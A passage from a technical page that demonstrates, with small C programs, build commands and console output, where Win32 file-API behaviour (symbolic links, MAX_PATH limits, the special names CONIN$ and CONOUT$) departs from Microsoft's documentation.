    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  3. Create the text file blunder.exe.manifest with the following content next to the console application blunder.exe built in step 2.:

    <?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
    <!-- Copyright (C) 2004-2025, Stefan Kanthak -->
    <assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
        <assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
        <trustInfo xmlns='urn:schemas-microsoft-com:asm.v2'>
            <security>
                <requestedPrivileges>
                    <requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
                </requestedPrivileges>
            </security>
        </trustInfo>
    </assembly>
  4. Execute the console application blunder.exe built in step 2. with elevated access rights and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    OUCH¹: the CreateSymbolicLink() function creates a file symbolic link, i.e. a reparse point attached to a file, that but targets an existing directory!
  5. Compile and link the source file blunder.c created in step 1. a second time, now with the preprocessor macro blunder defined:

    CL.EXE /Dblunder blunder.c kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  6. Execute the console application blunder.exe built in step 5. with elevated access rights and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x10b (WIN32: 267 ERROR_DIRECTORY) -- 267 (267)
    Error message text: The directory name is invalid.
    CertUtil: -error command completed successfully.
    OUCH²: although Blunder is a valid directory name the Win32 function SetCurrentDirectory() fails with Win32 error code 267 alias ERROR_DIRECTORY – most obviously the mixed symbolic link confuses it!
  7. Compile and link the source file blunder.c created in step 1. a third time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  8. Execute the console application blunder.exe built in step 7. with elevated access rights and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    OUCH³: the CreateSymbolicLink() function creates a directory symbolic link, i.e. a reparse point attached to a directory, that but targets an existing file!
  9. Compile and link the source file blunder.c created in step 1. a last time, now with the preprocessor macros BLUNDER and blunder defined:

    CL.EXE /DBLUNDER /Dblunder blunder.c kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  10. Execute the console application blunder.exe built in step 9. with elevated access rights and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x10b (WIN32: 267 ERROR_DIRECTORY) -- 267 (267)
    Error message text: The directory name is invalid.
    CertUtil: -error command completed successfully.
    OUCH⁴: the SetCurrentDirectory() function fails again with Win32 error code 267 alias ERROR_DIRECTORY – most obviously the mixed symbolic link confuses it!
Note: an exploration of the effects of mixed symbolic links for the Win32 functions enumerated in the MSDN article Symbolic Link Effects on File Systems Functions as well as others not enumerated there is left as an exercise to the reader.

Note: an exploration of the blunder with the Win32 function CreateSymbolicLinkTransacted() is left as an exercise to the reader.

Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 38

The A forms of the Win32 functions for directory and file management are all limited to a maximum path name length of 260 characters, defined with the preprocessor macro MAX_PATH.

For example, the documentation for the Win32 function CreateDirectory() states:

Creates a new directory. […]
BOOL CreateDirectory(
  [in]           LPCTSTR               lpPathName,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
[…]

[in] lpPathName

The path of the directory to be created.

By default, the name is limited to MAX_PATH characters. To extend this limit to 32,767 wide characters, prepend "\\?\" to the path. For more information, see Naming Files, Paths, and Namespaces.

[in, optional] lpSecurityAttributes

The documentation for the Win32 function RemoveDirectory() specifies:
Deletes an existing empty directory.

[…]

BOOL RemoveDirectory(
  [in] LPCTSTR lpPathName
);
[…]

[in] lpPathName

The path of the directory to be removed. This path must specify an empty directory, and the calling process must have delete access to the directory.

By default, the name is limited to MAX_PATH characters. To extend this limit to 32,767 wide characters, prepend "\\?\" to the path. For more information, see Naming Files, Paths, and Namespaces.

Falsification

Perform the following 5 simple steps to show the blunder and prove the highlighted statement of the documentation cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2009-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	DWORD	dwError;
    	DWORD	dwBlunder = 0UL;
    	WCHAR	szBlunder[MAX_PATH];
    #ifdef BLUNDER
    	szBlunder[dwBlunder++] = L'C';
    	szBlunder[dwBlunder++] = L':';
    #endif
    	szBlunder[dwBlunder++] = L'\\';
    
    	do
    	{
    		szBlunder[dwBlunder++] = L'€';
    		szBlunder[dwBlunder] = L'\0';
    
    		if (!CreateDirectory(szBlunder, (LPSECURITY_ATTRIBUTES) NULL)
    		 || !RemoveDirectory(szBlunder))
    			break;
    	}
    	while (dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
    
    	dwError = GetLastError();
    
    	if (dwError == ERROR_FILENAME_EXCED_RANGE)
    		dwError = 0UL - dwBlunder;
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1. a first time:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    -246
    OUCH¹: contrary to the higlighted statement of its documentation cited above, the Win32 function CreateDirectory() limits the directory name to 245 characters!
  4. Compile and link the source file blunder.c created in step 1. a second time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  5. Execute the console application blunder.exe built in step 4. and evaluate its exit code:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    -248
    OUCH²: contrary to the higlighted statement of its documentation cited above, the Win32 function CreateDirectory() limits the directory name to 245 characters and the path name to 248 characters!
Note: an exploration of the blunder with the Win32 functions CreateDirectoryEx() and CreateDirectoryTransacted() is left as an exercise to the reader.

Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Blunder № 39

The documentation for the Win32 function CreateFile() specifies how to use the file names CONIN$ and CONOUT$:

The CreateFile function can create a handle to console input (CONIN$). If the process has an open handle to it as a result of inheritance or duplication, it can also create a handle to the active screen buffer (CONOUT$). The calling process must be attached to an inherited console or one allocated by the AllocConsole function. For console handles, set the CreateFile parameters as follows.

Parameters Value
lpFileName Use the CONIN$ value to specify console input.
Use the CONOUT$ value to specify console output.

CONIN$ gets a handle to the console input buffer, even if the SetStdHandle function redirects the standard input handle. To get the standard input handle, use the GetStdHandle function.

CONOUT$ gets a handle to the active screen buffer, even if SetStdHandle redirects the standard output handle. To get the standard output handle, use GetStdHandle

dwDesiredAccess GENERIC_READ | GENERIC_WRITE is preferred, but either one can limit access.
dwShareMode When opening CONIN$, specify FILE_SHARE_READ. When opening CONOUT$, specify FILE_SHARE_WRITE.

If the calling process inherits the console, or if a child process should be able to access the console, this parameter must be FILE_SHARE_READ | FILE_SHARE_WRITE.

lpSecurityAttributes If you want the console to be inherited, the bInheritHandle member of the SECURITY_ATTRIBUTES structure must be TRUE.
dwCreationDisposition You should specify OPEN_EXISTING when using CreateFile to open the console.
dwFlagsAndAttributes Ignored.
hTemplateFile Ignored.
Note: the MSDN article Naming Files, Paths, and Namespaces fails to define the names CONIN$ and CONOUT$ as reserved or special.

The MSDN article Console Handles specifies:

GetFileType can assist in determining what device type the handle refers to. A console handle presents as FILE_TYPE_CHAR.

Demonstration

Perform the following 3 simple steps to show the blunder.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0UL)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	LPCWSTR	szBlunder[3] = {L"CONIN$", L"CONOUT$", L"CONERR$"};
    
    const	LPCWSTR	szFileType[4] = {L"FILE_TYPE_UNKNOWN",
    		                 L"FILE_TYPE_DISK",
    		                 L"FILE_TYPE_CHAR",
    		                 L"FILE_TYPE_PIPE"};
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szModule[MAX_PATH];
    	DWORD	dwModule;
    	DWORD	dwError = ERROR_SUCCESS;
    	DWORD	dwBlunder = 0UL;
    	HANDLE	hBlunder;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hError == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		do
    			PrintConsole(hError,
    			             L"GetFileAttributes() returned attributes 0x%08lX for \'%ls\'\n",
    			             GetFileAttributes(szBlunder[dwBlunder]), szBlunder[dwBlunder]);
    		while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
    
    		dwModule = GetModuleFileName((HMODULE) NULL,
    		                             szModule,
    		                             sizeof(szModule) / sizeof(*szModule));
    		if (dwModule == 0UL)
    			PrintConsole(hError,
    			             L"GetModuleFileName() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			PrintConsole(hError, L"\n");
    
    			dwBlunder = 0UL;
    
    			do
    				if (!CopyFile(szModule,
    				              szBlunder[dwBlunder],
    				              FALSE))
    					PrintConsole(hError,
    					             L"CopyFile() returned error %lu for target file \'%ls\'\n",
    					             dwError = GetLastError(), szBlunder[dwBlunder]);
    				else
    				{
    					PrintConsole(hError,
    					             L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
    					             GetFileAttributes(szBlunder[dwBlunder]), szBlunder[dwBlunder]);
    
    					if (!DeleteFile(szBlunder[dwBlunder]))
    						PrintConsole(hError,
    						             L"DeleteFile() returned error %lu for file \'%ls\'\n",
    						             dwError = GetLastError(), szBlunder[dwBlunder]);
    				}
    			while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
    
    			if (!CopyFile(szModule,
    			              szBlunder[2],
    			              FALSE))
    				PrintConsole(hError,
    				             L"CopyFile() returned error %lu for target file \'%ls\'\n",
    				             dwError = GetLastError(), szBlunder[2]);
    			else
    				if (!MoveFile(szBlunder[2],
    				              szBlunder[1]))
    				{
    					PrintConsole(hError,
    					             L"MoveFile() returned error %lu for target file \'%ls\'\n",
    					             dwError = GetLastError(), szBlunder[1]);
    
    					if (!DeleteFile(szBlunder[2]))
    						PrintConsole(hError,
    						             L"DeleteFile() returned error %lu for file \'%ls\'\n",
    						             dwError = GetLastError(), szBlunder[2]);
    				}
    				else
    				{
    					PrintConsole(hError,
    					             L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
    					             GetFileAttributes(szBlunder[1]), szBlunder[1]);
    
    					if (!MoveFile(szBlunder[1],
    					              szBlunder[0]))
    					{
    						PrintConsole(hError,
    						             L"MoveFile() returned error %lu for target file \'%ls\'\n",
    						             dwError = GetLastError(), szBlunder[0]);
    
    						if (!DeleteFile(szBlunder[1]))
    							PrintConsole(hError,
    							             L"DeleteFile() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szBlunder[1]);
    					}
    					else
    					{
    						PrintConsole(hError,
    						             L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
    						             GetFileAttributes(szBlunder[0]), szBlunder[0]);
    
    						if (!DeleteFile(szBlunder[0]))
    							PrintConsole(hError,
    							             L"DeleteFile() returned error %lu for file \'%ls\'\n",
    							             dwError = GetLastError(), szBlunder[0]);
    					}
    				}
    		}
    
    		PrintConsole(hError, L"\n");
    
    		dwBlunder = 0UL;
    
    		do
    			if (!CreateDirectory(szBlunder[dwBlunder],
    			                     (LPSECURITY_ATTRIBUTES) NULL))
    				PrintConsole(hError,
    				             L"CreateDirectory() returned error %lu for directory \'%ls\'\n",
    				             dwError = GetLastError(), szBlunder[dwBlunder]);
    			else
    			{
    				PrintConsole(hError,
    				             L"GetFileAttributes() returned attributes 0x%08lX for directory \'%ls\'\n",
    				             GetFileAttributes(szBlunder[dwBlunder]), szBlunder[dwBlunder]);
    
    				hBlunder = CreateFile(szBlunder[dwBlunder],
    				                      GENERIC_READ | GENERIC_WRITE,
    				                      FILE_SHARE_READ | FILE_SHARE_WRITE,
    				                      (LPSECURITY_ATTRIBUTES) NULL,
    				                      OPEN_EXISTING,
    				                      FILE_FLAG_BACKUP_SEMANTICS,
    				                      (HANDLE) NULL);
    
    				if (hBlunder == INVALID_HANDLE_VALUE)
    					PrintConsole(hError,
    					             L"CreateFile() returned error %lu for directory \'%ls\'\n",
    					             dwError = GetLastError(), szBlunder[dwBlunder]);
    				else
    				{
    					PrintConsole(hError,
    					             L"GetFileType() returned %ls for directory \'%ls\'\n",
    					             szFileType[GetFileType(hBlunder)], szBlunder[dwBlunder]);
    
    					if (!CloseHandle(hBlunder))
    						PrintConsole(hError,
    						             L"CloseHandle() returned error %lu\n",
    						             dwError = GetLastError());
    				}
    
    				if (!RemoveDirectory(szBlunder[dwBlunder]))
    					PrintConsole(hError,
    					             L"RemoveDirectory() returned error %lu for directory \'%ls\'\n",
    					             dwError = GetLastError(), szBlunder[dwBlunder]);
    			}
    		while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
    
    		PrintConsole(hError, L"\n");
    
    		dwBlunder = 0UL;
    
    		do
    		{
    			hBlunder = CreateFile(szBlunder[dwBlunder],
    			                      GENERIC_READ | GENERIC_WRITE,
    			                      FILE_SHARE_READ | FILE_SHARE_WRITE,
    			                      (LPSECURITY_ATTRIBUTES) NULL,
    			                      CREATE_NEW,
    			                      FILE_ATTRIBUTE_NORMAL,
    			                      (HANDLE) NULL);
    
    			if (hBlunder == INVALID_HANDLE_VALUE)
    				PrintConsole(hError,
    				             L"CreateFile() returned error %lu for file \'%ls\'\n",
    				             dwError = GetLastError(), szBlunder[dwBlunder]);
    			else
    			{
    				PrintConsole(hError,
    				             L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
    				             GetFileAttributes(szBlunder[dwBlunder]), szBlunder[dwBlunder]);
    
    				PrintConsole(hError,
    				             L"GetFileType() returned %ls for file \'%ls\'\n",
    				             szFileType[GetFileType(hBlunder)], szBlunder[dwBlunder]);
    
    				if (!CloseHandle(hBlunder))
    					PrintConsole(hError,
    					             L"CloseHandle() returned error %lu\n",
    					             dwError = GetLastError());
    
    				if (!DeleteFile(szBlunder[dwBlunder]))
    					PrintConsole(hError,
    					             L"DeleteFile() returned error %lu for file \'%ls\'\n",
    					             dwError = GetLastError(), szBlunder[dwBlunder]);
    			}
    		}
    		while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
    
    		if (dwModule != 0UL)
    		{
    			PrintConsole(hError, L"\n");
    
    			dwBlunder = 0UL;
    
    			do
    				if (!CreateHardLink(szBlunder[dwBlunder],
    				                    szModule,
    				                    (LPSECURITY_ATTRIBUTES) NULL))
    					PrintConsole(hError,
    					             L"CreateHardLink() returned error %lu for hardlink \'%ls\'\n",
    					             dwError = GetLastError(), szBlunder[dwBlunder]);
    				else
    				{
    					PrintConsole(hError,
    					             L"GetFileAttributes() returned attributes 0x%08lX for hardlink \'%ls\'\n",
    					             GetFileAttributes(szBlunder[dwBlunder]), szBlunder[dwBlunder]);
    
    					hBlunder = CreateFile(szBlunder[dwBlunder],
    					                      GENERIC_READ | GENERIC_WRITE,
    					                      FILE_SHARE_READ | FILE_SHARE_WRITE,
    					                      (LPSECURITY_ATTRIBUTES) NULL,
    					                      OPEN_EXISTING,
    					                      FILE_ATTRIBUTE_NORMAL,
    					                      (HANDLE) NULL);
    
    					if (hBlunder == INVALID_HANDLE_VALUE)
    						PrintConsole(hError,
    						             L"CreateFile() returned error %lu for hardlink \'%ls\'\n",
    						             dwError = GetLastError(), szBlunder[dwBlunder]);
    					else
    					{
    						PrintConsole(hError,
    						             L"GetFileType() returned %ls for hardlink \'%ls\'\n",
    						             szFileType[GetFileType(hBlunder)], szBlunder[dwBlunder]);
    
    						if (!CloseHandle(hBlunder))
    							PrintConsole(hError,
    							             L"CloseHandle() returned error %lu\n",
    							             dwError = GetLastError());
    					}
    
    					if (!DeleteFile(szBlunder[dwBlunder]))
    						PrintConsole(hError,
    						             L"DeleteFile() returned error %lu for hardlink \'%ls\'\n",
    						             dwError = GetLastError(), szBlunder[dwBlunder]);
    				}
    			while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
    		}
    	}
    
    	ExitProcess(dwError);
    }
  2. Compile and link the source file blunder.c created in step 1.:

    SET CL=/W4 /Zl
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib user32.lib
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    user32.lib
  3. Execute the console application blunder.exe built in step 2. and evaluate its exit code:

    VER
    .\blunder.exe
    DIR CON*$
    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    ERASE CON*$
    Microsoft Windows [Version 6.1.7601]
    
    GetFileAttributes() returned attributes 0xFFFFFFFF for 'CONIN$'
    GetFileAttributes() returned attributes 0xFFFFFFFF for 'CONOUT$'
    GetFileAttributes() returned attributes 0xFFFFFFFF for 'CONERR$'
    
    CopyFile() returned error 6 for target file 'CONIN$'
    CopyFile() returned error 5 for target file 'CONOUT$'
    GetFileAttributes() returned attributes 0x00000020 for file 'CONERR$'
    GetFileAttributes() returned attributes 0x00000020 for file 'CONOUT$'
    GetFileAttributes() returned attributes 0x00000020 for file 'CONIN$'
    
    GetFileAttributes() returned attributes 0x00000010 for directory 'CONIN$'
    GetFileType() returned FILE_TYPE_CHAR for directory 'CONIN$'
    GetFileAttributes() returned attributes 0x00000010 for directory 'CONOUT$'
    GetFileType() returned FILE_TYPE_CHAR for directory 'CONOUT$'
    GetFileAttributes() returned attributes 0x00000010 for directory 'CONERR$'
    GetFileType() returned FILE_TYPE_DISK for directory 'CONERR$'
    
    GetFileAttributes() returned attributes 0xFFFFFFFF for file 'CONIN$'
    GetFileType() returned FILE_TYPE_CHAR for file 'CONIN$'
    DeleteFile() returned error 2 for file 'CONIN$'
    GetFileAttributes() returned attributes 0xFFFFFFFF for file 'CONOUT$'
    GetFileType() returned FILE_TYPE_CHAR for file 'CONOUT$'
    DeleteFile() returned error 2 for file 'CONOUT$'
    GetFileAttributes() returned attributes 0x00000020 for file 'CONERR$'
    GetFileType() returned FILE_TYPE_DISK for file 'CONERR$'
    
    GetFileAttributes() returned attributes 0x00000020 for hardlink 'CONIN$'
    GetFileType() returned FILE_TYPE_CHAR for hardlink 'CONIN$'
    DeleteFile() returned error 5 for hardlink 'CONIN$'
    GetFileAttributes() returned attributes 0x00000020 for hardlink 'CONOUT$'
    GetFileType() returned FILE_TYPE_CHAR for hardlink 'CONOUT$'
    DeleteFile() returned error 5 for hardlink 'CONOUT$'
    GetFileAttributes() returned attributes 0x00000020 for hardlink 'CONERR$'
    CreateFile() returned error 32 for hardlink 'CONERR$'
    DeleteFile() returned error 5 for hardlink 'CONERR$'
    
     Volume in drive C has no label.
     Volume Serial Number is 1957-0427
    
     Directory of C:\Users\Stefan\Desktop
    
    04/27/2011  08:15 PM             8,704 CONERR$
    04/27/2011  08:15 PM             8,704 CONIN$
    04/27/2011  08:15 PM             8,704 CONOUT$
                   3 File(s)         26,112 bytes
                   2 Dir(s)    9,876,543,210 bytes free
    
    GetFileAttributes() returned attributes 0x00000020 for 'CONIN$'
    GetFileAttributes() returned attributes 0x00000020 for 'CONOUT$'
    GetFileAttributes() returned attributes 0x00000020 for 'CONERR$'
    
    CopyFile() returned error 6 for target file 'CONIN$'
    CopyFile() returned error 5 for target file 'CONOUT$'
    CopyFile() returned error 32 for target file 'CONERR$'
    
    CreateDirectory() returned error 183 for directory 'CONIN$'
    CreateDirectory() returned error 183 for directory 'CONOUT$'
    CreateDirectory() returned error 183 for directory 'CONERR$'
    
    GetFileAttributes() returned attributes 0x00000020 for file 'CONIN$'
    GetFileType() returned FILE_TYPE_CHAR for file 'CONIN$'
    DeleteFile() returned error 5 for file 'CONIN$'
    GetFileAttributes() returned attributes 0x00000020 for file 'CONOUT$'
    GetFileType() returned FILE_TYPE_CHAR for file 'CONOUT$'
    DeleteFile() returned error 5 for file 'CONOUT$'
    CreateFile() returned error 80 for file 'CONERR$'
    
    CreateHardLink() returned error 183 for hardlink 'CONIN$'
    CreateHardLink() returned error 183 for hardlink 'CONOUT$'
    CreateHardLink() returned error 183 for hardlink 'CONERR$'
    
    0xb7 (WIN32: 183 ERROR_ALREADY_EXISTS) -- 183 (183)
    Error message text: Cannot create a file when that file already exists.
    CertUtil: -error command completed successfully.
    OUCH¹: the Win32 function GetFileAttributes() succeeds for files and directories with the special names CONIN$ and CONOUT$!

    OUCH²: while the Win32 function CopyFile() fails properly with Win32 error code 6 alias ERROR_INVALID_HANDLE for CONIN$ and Win32 error code 5 alias ERROR_ACCESS_DENIED for CONOUT$, the Win32 function MoveFile() but succeeds!

    OUCH³: the Win32 function CreateDirectory() creates directories with the special names CONIN$ and CONOUT$, and the Win32 function RemoveDirectory() removes them!

    OUCH⁴: the Win32 function CreateHardLink() creates hardlinks files with the special names CONIN$ and CONOUT$, and the Win32 function DeleteFile() deletes them!

    OOPS: the Win32 function CreateFile() does not open an existing directory or file with the special name CONIN$ or CONOUT$, but opens the console input buffer respectively the console screen buffer instead!

Note: an exploration of the blunder with the Win32 functions CopyFile2(), CopyFileEx(), CopyFileTransacted(), CreateDirectoryEx(), CreateDirectoryTransacted(), CreateFile2(), CreateFileTransacted(), CreateHardLinkTransacted(), CreateSymbolicLink(), CreateSymbolicLinkTransacted(), DeleteFileTransacted(), GetFileAttributesEx(), GetFileAttributesTransacted(), MoveFileEx(), MoveFileTransacted(), MoveFileWithProgress(), RemoveDirectoryTransacted() and ReplaceFile() is left as an exercise to the reader.

Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Alternate Demonstration

Start the Command Processor Cmd.exe and execute the following command lines to show the blunder:
VER
ECHO Step 1: create files CONERR$, CONIN$ and CONOUT$
COPY "%COMSPEC%" CONERR$
COPY "%COMSPEC%" CONIN$
COPY "%COMSPEC%" CONOUT$
ECHO Step 2: rename file CONERR$ to CONIN$ to CONOUT$ to CONERR$
RENAME CONERR$ CONIN$
RENAME CONIN$ CONOUT$
RENAME CONOUT$ CONERR$
ECHO Step 3: move file CONERR$ to CONIN$ to CONOUT$ to CONERR$
MOVE CONERR$ CONIN$
MOVE CONIN$ CONOUT$
MOVE CONOUT$ CONERR$
ECHO Step 4: create hardlinks CONIN$ and CONOUT$
MKLINK /H CONIN$ CONERR$
MKLINK /H CONOUT$ CONIN$
DIR CON*$
ECHO Step 5: execute CONIN$ and CONOUT$
.\CONIN$
.\CONOUT$
ECHO Step 6: overwrite CONIN$ and CONOUT$
COPY CONERR$ CONIN$
COPY CONERR$ CONOUT$
DIR CON*$
ERASE CONOUT$
ECHO Step 7: create subdirectory CONIN$, copy file CONERR$ into it, then erase both
MKDIR CONIN$
COPY CONERR$ CONIN$
ERASE CONIN$\CONERR$
RMDIR CONIN$
ECHO Step 8: create subdirectory CONOUT$, copy file CONERR$ into it, then erase both
MKDIR CONOUT$
COPY CONERR$ CONOUT$
ERASE CONOUT$\CONERR$
RMDIR CONOUT$
ECHO Step 9: cleanup
ERASE CONERR$
Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft Windows [Version 6.1.7601]
Step 1: create files CONERR$, CONIN$ and CONOUT$
        1 file(s) copied.
Access denied
        0 file(s) copied.
The handle is invalid.
        0 file(s) copied.
Step 2: rename file CONERR$ to CONOUT$ to CONIN$ to CONERR$
Step 3: move file CONERR$ to CONOUT$ to CONIN$ to CONERR$
        1 file(s) moved.
        1 file(s) moved.
Step 4: create hardlinks CONIN$ and CONOUT$
Hardlink created for CONIN$ <<===>> CONERR$
Hardlink created for CONOUT$ <<===>> CONIN$

 Volume in drive C has no label.
 Volume Serial Number is 1957-0427

 Directory of C:\Users\Stefan\Desktop

06/12/2016  05:55 AM           345,088 CONERR$
06/12/2016  05:55 AM           345,088 CONIN$
06/12/2016  05:55 AM           345,088 CONOUT$
               3 File(s)      1,035,264 bytes
               2 Dir(s)    9,876,543,210 bytes free

Step 5: execute CONIN$ and CONOUT$
'.\CONIN$' is not recognized as an internal or external command,
operable program or batch file.
'.\CONOUT$' is not recognized as an internal or external command,
operable program or batch file.
Step 6: overwrite CONIN$ and CONOUT$
The handle is invalid.
        0 file(s) copied.
MZ[…]This program cannot be run in DOS mode.
[…]

 Volume in drive C has no label.
 Volume Serial Number is 1957-0427

 Directory of C:\Users\Stefan\Desktop

06/12/2016  05:55 AM           345,088 CONERR$
06/12/2016  05:55 AM           345,088 CONOUT$
               3 File(s)        690,176 bytes
               2 Dir(s)    9,876,543,210 bytes free

Step 7: create subdirectory CONIN$, copy file CONERR$ into it, then erase both
        1 file(s) copied.
Step 8: create subdirectory CONOUT$, copy file CONERR$ into it, then erase both
        1 file(s) copied.
Step 9: cleanup
OOPS¹: while the internal Copy command fails to create files CONIN$ and CONOUT$, the internal Rename alias Ren, Move and Mklink commands but succeed!

OUCH: although the files CONIN$ and CONOUT$ exist (and are copies of the command processor) the command processor fails to execute them!

OOPS²: if a file CONIN$ exists, the internal Copy command deletes it!

OOPS³: if a file CONOUT$ exists, the internal Copy command writes to the console screen buffer!

OOPS⁴: the internal Md alias MkDir command creates directories CONIN$ and CONOUT$!

OOPS⁵: if a directory CONIN$ exists, the internal Copy command succeeds!

OOPS⁶: if a directory CONOUT$ exists, the internal Copy command succeeds!

Blunder № 40

The documentation for the Win32 function ReadConsole() states:
Reads character input from the console input buffer and removes it from the buffer.
BOOL ReadConsole(
  [in]           HANDLE  hConsoleInput,
  [out]          LPVOID  lpBuffer,
  [in]           DWORD   nNumberOfCharsToRead,
  [out]          LPDWORD lpNumberOfCharsRead,
  [in, optional] LPVOID  pInputControl
);
[…]

lpBuffer [out]
A pointer to a buffer that receives the data read from the console input buffer.

nNumberOfCharsToRead [out]
The number of characters to be read. […]

pInputControl [in, optional]
